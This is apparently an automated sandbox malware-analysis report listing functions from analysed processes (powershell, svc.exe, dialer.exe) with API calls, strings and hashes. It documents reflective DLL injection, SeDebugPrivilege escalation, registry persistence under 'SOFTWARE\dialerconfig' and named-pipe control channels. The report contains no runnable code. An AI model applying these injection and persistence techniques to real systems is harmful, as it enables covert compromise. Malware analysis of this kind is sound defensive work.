API String ID: 0-3352594996
Opcode ID: 80b25b73811c4e1171c34c95741c001f664caad0f28fc7c42deaa518f250e580
Instruction ID: b10e2ea00bc50f6abfc1e83c0c42b4e8d9d82f28367b335b09a2a41d67889a5b
Opcode Fuzzy Hash: 80b25b73811c4e1171c34c95741c001f664caad0f28fc7c42deaa518f250e580
Instruction Fuzzy Hash: 06B182B4E012099FDB54DFA9D990A9DFBF2FF88300F108629E419AB355DB34A945CF90

Function 06F53110 Relevance: 5.2, Strings: 4, Instructions: 219COMMON

Download Yara Rule

Strings

tPfq, xrefs: 06F53330
4'fq, xrefs: 06F531B6
tPfq, xrefs: 06F53324
4'fq, xrefs: 06F531C0

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$tPfq$tPfq
API String ID: 0-2816350295
Opcode ID: 46de1ae1c7ebf2f9b2ad51c27888b97c4472b7abf6bf013f2335379eb45229e3
Instruction ID: d943976c9272495563da7493f27e730793ae164f4b992c82e4b743e2b76192e9
Opcode Fuzzy Hash: 46de1ae1c7ebf2f9b2ad51c27888b97c4472b7abf6bf013f2335379eb45229e3
Instruction Fuzzy Hash: 1471E673F042059FDBA48BAD840676BBBA2AF85750F16807ADB05CB651EA31DC41C7E2

Function 06F55798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$fq, xrefs: 06F557AA
$fq, xrefs: 06F557F4
$fq, xrefs: 06F557C6
$fq, xrefs: 06F55800

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: $fq$$fq$$fq$$fq
API String ID: 0-2113499236
Opcode ID: 020b3e1e7ebd8874fdf4ce7e7e2e38413b4b6f9089c676b157941760b75820ed
Instruction ID: 7c00c54daba9036c911e84293b60820aac4c16ce7f06a4a7a23fb38aff326d06
Opcode Fuzzy Hash: 020b3e1e7ebd8874fdf4ce7e7e2e38413b4b6f9089c676b157941760b75820ed
Instruction Fuzzy Hash: F2214932F242449FDBB459BE9800727B7DBABC0316F25842AAE05CB782DD75CC41C3A2

Function 06F50308 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

$fq, xrefs: 06F5035E
$fq, xrefs: 06F50352
4'fq, xrefs: 06F50373
4'fq, xrefs: 06F5037F

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$$fq$$fq
API String ID: 0-2206495126
Opcode ID: a34e579c23ce140da185e74239172192d8d137f1a33df893e16a565e02180eeb
Instruction ID: eaff789ea33ac3c25f068ec84f4bc1e33db9c52bac44efa819422702feede17d
Opcode Fuzzy Hash: a34e579c23ce140da185e74239172192d8d137f1a33df893e16a565e02180eeb
Instruction Fuzzy Hash: A401D412B0A3814FC7AB577848219267FB71F8265072B41DBD581CF2A7CE194D0683A7

Analysis Process: svc.exePID: 7576, Parent PID: 7324COMMON

Executed Functions

Function 00007FF6FB8014B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1885387365.00007FF6FB801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FB800000, based on PE: true

Associated: 00000004.00000002.1885280582.00007FF6FB800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1885508595.00007FF6FB820000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1885636455.00007FF6FB845000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1887338497.00007FF6FC1E5000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1887404159.00007FF6FC1E7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1887453346.00007FF6FC1F4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1887500788.00007FF6FC1F7000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1887651324.00007FF6FC1F8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6fb800000_svc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e73cc89a7b2412dcc030e8898ac927593eb6f92fc7e90c5c81b4546cc2ae7cf
Instruction ID: 5efa3ef0a46971423ee1221c5a3730cd49eadbfd476b9b34cb544a5b2dd17de3
Opcode Fuzzy Hash: 8e73cc89a7b2412dcc030e8898ac927593eb6f92fc7e90c5c81b4546cc2ae7cf
Instruction Fuzzy Hash: 4EB01230D1520B88EB047F02E84125836206F4C7C0F806030E42C833E2DF7C60518710

Analysis Process: dialer.exePID: 7912, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	48.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	39.4%
Total number of Nodes:	231
Total number of Limit Nodes:	23

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF6CD412328 Relevance: 68.4, APIs: 31, Strings: 8, Instructions: 194
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6CD412078: StrCpyW.SHLWAPI ref: 00007FF6CD4120AA
Part of subcall function 00007FF6CD412078: StrCatW.SHLWAPI ref: 00007FF6CD4120B8
Part of subcall function 00007FF6CD412078: GetModuleHandleW.KERNEL32 ref: 00007FF6CD4120C1
Part of subcall function 00007FF6CD412078: GetCurrentProcess.KERNEL32 ref: 00007FF6CD41210C
Part of subcall function 00007FF6CD412078: K32GetModuleInformation.KERNEL32 ref: 00007FF6CD412120
Part of subcall function 00007FF6CD412078: CreateFileW.KERNELBASE ref: 00007FF6CD412150
Part of subcall function 00007FF6CD412078: CreateFileMappingW.KERNELBASE ref: 00007FF6CD41217B
Part of subcall function 00007FF6CD412078: MapViewOfFile.KERNELBASE ref: 00007FF6CD41219F
Part of subcall function 00007FF6CD412078: lstrcmpi.KERNEL32 ref: 00007FF6CD4121EA
Part of subcall function 00007FF6CD412078: FindCloseChangeNotification.KERNELBASE ref: 00007FF6CD412258
Part of subcall function 00007FF6CD412078: CloseHandle.KERNEL32 ref: 00007FF6CD412261
Part of subcall function 00007FF6CD412078: FreeLibrary.KERNEL32 ref: 00007FF6CD41226A

VerSetConditionMask.NTDLL ref: 00007FF6CD412397
VerSetConditionMask.NTDLL ref: 00007FF6CD4123A8
VerSetConditionMask.NTDLL ref: 00007FF6CD4123B9
VerifyVersionInfoW.KERNEL32 ref: 00007FF6CD4123CC
GetCurrentProcessId.KERNEL32 ref: 00007FF6CD4123DE
OpenProcess.KERNEL32 ref: 00007FF6CD4123EE
OpenProcessToken.ADVAPI32 ref: 00007FF6CD41240F
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6CD412429
AdjustTokenPrivileges.KERNELBASE ref: 00007FF6CD41246D
GetLastError.KERNEL32 ref: 00007FF6CD412477
FindCloseChangeNotification.KERNELBASE ref: 00007FF6CD412480
FindResourceA.KERNEL32 ref: 00007FF6CD412494
SizeofResource.KERNEL32 ref: 00007FF6CD4124AB
LoadResource.KERNEL32 ref: 00007FF6CD4124C4
LockResource.KERNEL32 ref: 00007FF6CD4124D6
GetCurrentProcessId.KERNEL32 ref: 00007FF6CD4124E3
RegCreateKeyExW.KERNELBASE ref: 00007FF6CD412524
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF6CD412557
RegSetKeySecurity.KERNELBASE ref: 00007FF6CD412574
LocalFree.KERNEL32 ref: 00007FF6CD412581
RegCreateKeyExW.KERNELBASE ref: 00007FF6CD4125B9
GetCurrentProcessId.KERNEL32 ref: 00007FF6CD4125C3
RegSetValueExW.KERNELBASE ref: 00007FF6CD4125F1
RegCloseKey.KERNELBASE ref: 00007FF6CD4125FC
RegCloseKey.ADVAPI32 ref: 00007FF6CD412607
CreateThread.KERNELBASE ref: 00007FF6CD412628
GetProcessHeap.KERNEL32 ref: 00007FF6CD41262E
HeapAlloc.KERNEL32 ref: 00007FF6CD41263D
CreateThread.KERNELBASE ref: 00007FF6CD41266C
CreateThread.KERNELBASE ref: 00007FF6CD41268D
SleepEx.KERNEL32 ref: 00007FF6CD412695

Strings

kernel32.dll, xrefs: 00007FF6CD4123D2
pid, xrefs: 00007FF6CD412596
ntdll.dll, xrefs: 00007FF6CD41233B
SeDebugPrivilege, xrefs: 00007FF6CD412422
svc64, xrefs: 00007FF6CD4125CE
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00007FF6CD412550
SOFTWARE\dialerconfig, xrefs: 00007FF6CD4124FF
DLL, xrefs: 00007FF6CD412486

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentResource$ConditionFileFindMaskSecurityThread$ChangeDescriptorFreeHandleHeapModuleNotificationOpenTokenValue$AdjustAllocConvertErrorInfoInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringVerifyVersionViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 2174858571-1130149537
Opcode ID: 64f5cfc841401fc1be0d0af11d06bbf6443494d40dab24e71934df2300a70ca7
Instruction ID: 5fccfbdcf646e4cb68a407c14b566e0837a07cdc86d0cc651847fbfdc370937b
Opcode Fuzzy Hash: 64f5cfc841401fc1be0d0af11d06bbf6443494d40dab24e71934df2300a70ca7
Instruction Fuzzy Hash: 54A10035B09B8286E720DF61E8483AA77A2FB84756F448135DBAD87768EF3CD158C700

Function 00007FF6CD4110C0 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 259
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6CD4119AC: OpenProcess.KERNEL32(?,?,?,00007FF6CD41110E), ref: 00007FF6CD4119CA
Part of subcall function 00007FF6CD4119AC: IsWow64Process.KERNEL32(?,?,?,00007FF6CD41110E), ref: 00007FF6CD4119E0
Part of subcall function 00007FF6CD4119AC: FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF6CD41110E), ref: 00007FF6CD4119FB

OpenProcess.KERNEL32 ref: 00007FF6CD41112C
OpenProcess.KERNEL32 ref: 00007FF6CD41114B
K32GetModuleFileNameExW.KERNEL32 ref: 00007FF6CD411170
PathFindFileNameW.SHLWAPI ref: 00007FF6CD41117E
lstrlenW.KERNEL32 ref: 00007FF6CD41118A
StrCpyW.SHLWAPI ref: 00007FF6CD4111A1
CloseHandle.KERNEL32 ref: 00007FF6CD4111AD
StrCmpIW.SHLWAPI ref: 00007FF6CD4111ED
NtQueryInformationProcess.NTDLL ref: 00007FF6CD411221
OpenProcessToken.ADVAPI32 ref: 00007FF6CD41124B
GetTokenInformation.KERNELBASE ref: 00007FF6CD411277
GetLastError.KERNEL32 ref: 00007FF6CD411281
LocalAlloc.KERNEL32 ref: 00007FF6CD411294
GetTokenInformation.KERNELBASE ref: 00007FF6CD4112C0
GetSidSubAuthorityCount.ADVAPI32 ref: 00007FF6CD4112CD
GetSidSubAuthority.ADVAPI32 ref: 00007FF6CD4112DC
LocalFree.KERNEL32 ref: 00007FF6CD4112F4
CloseHandle.KERNEL32 ref: 00007FF6CD411308
StrStrA.SHLWAPI ref: 00007FF6CD4113B2
VirtualAllocEx.KERNELBASE ref: 00007FF6CD411419
WriteProcessMemory.KERNELBASE ref: 00007FF6CD41143C
WaitForSingleObject.KERNEL32 ref: 00007FF6CD411488
GetExitCodeThread.KERNEL32 ref: 00007FF6CD41149E
FindCloseChangeNotification.KERNELBASE ref: 00007FF6CD4114B6
CloseHandle.KERNEL32 ref: 00007FF6CD4114BF

Strings

@, xrefs: 00007FF6CD41140C
WmiPrvSE.exe, xrefs: 00007FF6CD4111CC
MSBuild.exe, xrefs: 00007FF6CD4111B8
dialer.exe, xrefs: 00007FF6CD4111D8
ReflectiveDllMain, xrefs: 00007FF6CD4113A8

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: Process$Close$Open$FindHandleInformationToken$AllocAuthorityChangeFileLocalNameNotification$CodeCountErrorExitFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$WmiPrvSE.exe$dialer.exe
API String ID: 2998269048-2835194517
Opcode ID: 544d3209d9aa9e6ba5ca7d9f2d2eefc3a9e0a6ddaab6f3d4a2b6f9620268a1a8
Instruction ID: 35038b3f3d5111e4092ae09f25261fe632e5bde77bc48e6003a8973d6421c7c8
Opcode Fuzzy Hash: 544d3209d9aa9e6ba5ca7d9f2d2eefc3a9e0a6ddaab6f3d4a2b6f9620268a1a8
Instruction Fuzzy Hash: C0B15F71B0864286EB20DF11E88467937A5FF45B86F008136CBAE97758EF3CE565C748

Function 00007FF6CD4114E4 Relevance: 19.6, APIs: 13, Instructions: 130
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6CD411517
HeapAlloc.KERNEL32 ref: 00007FF6CD41152A
GetProcessHeap.KERNEL32 ref: 00007FF6CD411538
HeapAlloc.KERNEL32 ref: 00007FF6CD411549
K32EnumProcesses.KERNEL32 ref: 00007FF6CD411563
OpenProcess.KERNEL32 ref: 00007FF6CD411591
K32EnumProcessModules.KERNEL32 ref: 00007FF6CD4115B6
ReadProcessMemory.KERNELBASE ref: 00007FF6CD4115ED
FindCloseChangeNotification.KERNELBASE ref: 00007FF6CD411629
GetProcessHeap.KERNEL32 ref: 00007FF6CD41163B
RtlDeleteBoundaryDescriptor.NTDLL ref: 00007FF6CD411649
GetProcessHeap.KERNEL32 ref: 00007FF6CD41164F
RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF6CD41165D

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: Process$Heap$AllocEnum$BoundaryChangeCloseDeleteDescriptorFindLanguagesMemoryModulesNotificationOpenPreferredProcessesReadRestoreThread
String ID:
API String ID: 2219672174-0
Opcode ID: 0c5f04347bf6d44913e8b334837d31c7522880c0df581b7b1d3a354cacd3bc02
Instruction ID: e15997a5de7c56fe5f69abfdd0b4683aef2c6a9a68005a02404f0cb63de180fc
Opcode Fuzzy Hash: 0c5f04347bf6d44913e8b334837d31c7522880c0df581b7b1d3a354cacd3bc02
Instruction Fuzzy Hash: 9551C032B156828BEB60CF62E8486A937A1FB49B86F488035DFAD87754EF3CD455C700

Function 00007FF6CD411C64 Relevance: 9.1, APIs: 6, Instructions: 88
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6CD411CB3
SetEntriesInAclW.ADVAPI32 ref: 00007FF6CD411D14
LocalAlloc.KERNEL32 ref: 00007FF6CD411D24
InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF6CD411D3A
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6CD411D52
CreateNamedPipeW.KERNELBASE ref: 00007FF6CD411D94

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 81527eae8623b787a181e0c46c37d2868846c75f5fa2d30b1d243af947967be4
Instruction ID: c7770cc6df0221ffdad95c47ce072471913df5b39cc84079b157e256e94a2d7c
Opcode Fuzzy Hash: 81527eae8623b787a181e0c46c37d2868846c75f5fa2d30b1d243af947967be4
Instruction Fuzzy Hash: DE416C32B14A51CAE760CF24E4847A93BB4FB44798F40513AEB9D87B98EF78D518CB40

Function 00007FF6CD4117F8 Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6CD41180D
RtlAllocateHeap.NTDLL ref: 00007FF6CD41181E

Part of subcall function 00007FF6CD4114E4: GetProcessHeap.KERNEL32 ref: 00007FF6CD411517
Part of subcall function 00007FF6CD4114E4: HeapAlloc.KERNEL32 ref: 00007FF6CD41152A
Part of subcall function 00007FF6CD4114E4: GetProcessHeap.KERNEL32 ref: 00007FF6CD411538
Part of subcall function 00007FF6CD4114E4: HeapAlloc.KERNEL32 ref: 00007FF6CD411549
Part of subcall function 00007FF6CD4114E4: K32EnumProcesses.KERNEL32 ref: 00007FF6CD411563
Part of subcall function 00007FF6CD4114E4: OpenProcess.KERNEL32 ref: 00007FF6CD411591
Part of subcall function 00007FF6CD4114E4: K32EnumProcessModules.KERNEL32 ref: 00007FF6CD4115B6
Part of subcall function 00007FF6CD4114E4: ReadProcessMemory.KERNELBASE ref: 00007FF6CD4115ED
Part of subcall function 00007FF6CD4114E4: FindCloseChangeNotification.KERNELBASE ref: 00007FF6CD411629
Part of subcall function 00007FF6CD4114E4: GetProcessHeap.KERNEL32 ref: 00007FF6CD41163B
Part of subcall function 00007FF6CD4114E4: RtlDeleteBoundaryDescriptor.NTDLL ref: 00007FF6CD411649
Part of subcall function 00007FF6CD4114E4: GetProcessHeap.KERNEL32 ref: 00007FF6CD41164F
Part of subcall function 00007FF6CD4114E4: RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF6CD41165D

OpenProcess.KERNEL32 ref: 00007FF6CD411865
TerminateProcess.KERNEL32 ref: 00007FF6CD411878
CloseHandle.KERNEL32 ref: 00007FF6CD411881
GetProcessHeap.KERNEL32 ref: 00007FF6CD411891

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: Process$Heap$AllocCloseEnumOpen$AllocateBoundaryChangeDeleteDescriptorFindHandleLanguagesMemoryModulesNotificationPreferredProcessesReadRestoreTerminateThread
String ID:
API String ID: 3158079169-0
Opcode ID: 5cc818aebe366c74c24883c76324c687b53e60aeb57db289d72e63b86dd9db26
Instruction ID: 7fc1e6537a1fdea19ccf43a3f59be55b1efb3892b11d307eead0155eae1fb6cd
Opcode Fuzzy Hash: 5cc818aebe366c74c24883c76324c687b53e60aeb57db289d72e63b86dd9db26
Instruction Fuzzy Hash: D3117221F0964285EB189F56E80416977A2EF8AB92F08C035DF9D83755EE3DD4658700

Function 00007FF6CD412078 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 128
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 00007FF6CD4120AA
StrCatW.SHLWAPI ref: 00007FF6CD4120B8
GetModuleHandleW.KERNEL32 ref: 00007FF6CD4120C1
GetCurrentProcess.KERNEL32 ref: 00007FF6CD41210C
K32GetModuleInformation.KERNEL32 ref: 00007FF6CD412120
CreateFileW.KERNELBASE ref: 00007FF6CD412150
CreateFileMappingW.KERNELBASE ref: 00007FF6CD41217B
MapViewOfFile.KERNELBASE ref: 00007FF6CD41219F
lstrcmpi.KERNEL32 ref: 00007FF6CD4121EA
VirtualProtect.KERNELBASE ref: 00007FF6CD412221
VirtualProtect.KERNELBASE ref: 00007FF6CD41224F
FindCloseChangeNotification.KERNELBASE ref: 00007FF6CD412258
CloseHandle.KERNEL32 ref: 00007FF6CD412261
FreeLibrary.KERNEL32 ref: 00007FF6CD41226A

Strings

C:\Windows\System32\, xrefs: 00007FF6CD41209B
.text, xrefs: 00007FF6CD4121E3

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: File$CloseCreateHandleModuleProtectVirtual$ChangeCurrentFindFreeInformationLibraryMappingNotificationProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 1125510917-832442975
Opcode ID: 5b6459bf4908e158894d0240be6af7c22007f1fef7840f3adad859f1057e7803
Instruction ID: 7d625692ce3b1e1cb1a4343340b22d8cb4e0e574c2f4961f115af8b4e5aebabb
Opcode Fuzzy Hash: 5b6459bf4908e158894d0240be6af7c22007f1fef7840f3adad859f1057e7803
Instruction Fuzzy Hash: DC51833670964282EB21DF11E85866B77A1FB89B9AF448131DF9D83794EF3CD429C700

Function 00007FF6CD412D84 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6CD411C64: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6CD411CB3
Part of subcall function 00007FF6CD411C64: SetEntriesInAclW.ADVAPI32 ref: 00007FF6CD411D14
Part of subcall function 00007FF6CD411C64: LocalAlloc.KERNEL32 ref: 00007FF6CD411D24
Part of subcall function 00007FF6CD411C64: InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF6CD411D3A
Part of subcall function 00007FF6CD411C64: SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6CD411D52
Part of subcall function 00007FF6CD411C64: CreateNamedPipeW.KERNELBASE ref: 00007FF6CD411D94

Sleep.KERNEL32 ref: 00007FF6CD412DA9
ConnectNamedPipe.KERNELBASE ref: 00007FF6CD412DB6
ReadFile.KERNELBASE ref: 00007FF6CD412DD9
WriteFile.KERNEL32 ref: 00007FF6CD412E07
Sleep.KERNEL32 ref: 00007FF6CD412E14
DisconnectNamedPipe.KERNELBASE ref: 00007FF6CD412E1D

Strings

\\.\pipe\dialerchildproc64, xrefs: 00007FF6CD412D91
M, xrefs: 00007FF6CD412DFA

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: 7d22ea23ef86ef8925f3c0e3dc4e470fe94490edd279db0f7d690e2db9d12c90
Instruction ID: 2062568017af6de4727dd3bef01642c8a218d57de740443d4457dea7b0100dd7
Opcode Fuzzy Hash: 7d22ea23ef86ef8925f3c0e3dc4e470fe94490edd279db0f7d690e2db9d12c90
Instruction Fuzzy Hash: 6111512171868292E614DF21E4583BA7761EB85BA2F04C234DBAEC26D4EF3CE428C700

Function 00007FF6CD41228C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6CD411C64: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6CD411CB3
Part of subcall function 00007FF6CD411C64: SetEntriesInAclW.ADVAPI32 ref: 00007FF6CD411D14
Part of subcall function 00007FF6CD411C64: LocalAlloc.KERNEL32 ref: 00007FF6CD411D24
Part of subcall function 00007FF6CD411C64: InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF6CD411D3A
Part of subcall function 00007FF6CD411C64: SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6CD411D52
Part of subcall function 00007FF6CD411C64: CreateNamedPipeW.KERNELBASE ref: 00007FF6CD411D94

Sleep.KERNEL32 ref: 00007FF6CD4122B1
ConnectNamedPipe.KERNELBASE ref: 00007FF6CD4122BE
ReadFile.KERNEL32 ref: 00007FF6CD4122E1
Sleep.KERNEL32 ref: 00007FF6CD412302
DisconnectNamedPipe.KERNEL32 ref: 00007FF6CD41230B

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00007FF6CD412299

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 5695317b32aa55875ab713aa7e4462bbb3149900d195a386a470b0f830d0d176
Instruction ID: cf1d8e108987a5062a791ebe5b2bf4a9e288f2dc85942875ea54bbca84856eda
Opcode Fuzzy Hash: 5695317b32aa55875ab713aa7e4462bbb3149900d195a386a470b0f830d0d176
Instruction Fuzzy Hash: 6A015E20B0864291EA149F21E84937E7771AF41BA2F54C234DBBEC66D4EF7CE468C700

Function 00007FF6CD412CC0 Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6CD412CDB
HeapAlloc.KERNEL32 ref: 00007FF6CD412CEF
GetProcessHeap.KERNEL32 ref: 00007FF6CD412CF8
HeapAlloc.KERNEL32 ref: 00007FF6CD412D06
K32EnumProcesses.KERNEL32 ref: 00007FF6CD412D21
SleepEx.KERNEL32 ref: 00007FF6CD412D79

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
